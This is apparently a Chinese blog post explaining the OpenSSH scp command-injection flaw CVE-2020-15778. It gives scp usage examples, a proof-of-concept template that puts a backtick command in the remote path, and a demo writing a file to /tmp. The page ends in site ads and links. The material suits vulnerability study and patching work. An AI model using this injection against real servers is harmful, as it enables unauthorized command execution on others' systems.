(CVE-2020-15778)Openssh 命令注入漏洞
前言
2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告。
漏洞影响
OpenSSH =< 8.3p1
SCP基础介绍
上传文件
scp C:\ST\CobaltStrike\CobaltStrike.exe root@123.56.150.172:/home/
上传文件夹
scp -r C:\ST\CobaltStrike root@123.56.150.172:/home/
下载文件
scp root@123.56.150.172:/home/CobaltStrike/CobaltStrike.jar C:\Users\17107\Desktop\
下载文件夹
scp -r root@123.56.150.172:/home/CobaltStrike/ C:\Users\17107\Desktop\
漏洞利用
POC
scp 1.txt root@<IP地址>:'`<需要执行的命令>`/tmp/1.txt'
1.查看版本是否存在漏洞
ssh -V
2.查看文件夹并不存在1.txt和123.txt文件
3.执行EXP尝试注入echo命令并写入123.txt文件
scp 1.txt root@192.168.245.128:'`echo 123>/tmp/123.txt`/tmp/1.txt'
4.查看文件结果,scp和echo同时执行成功
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】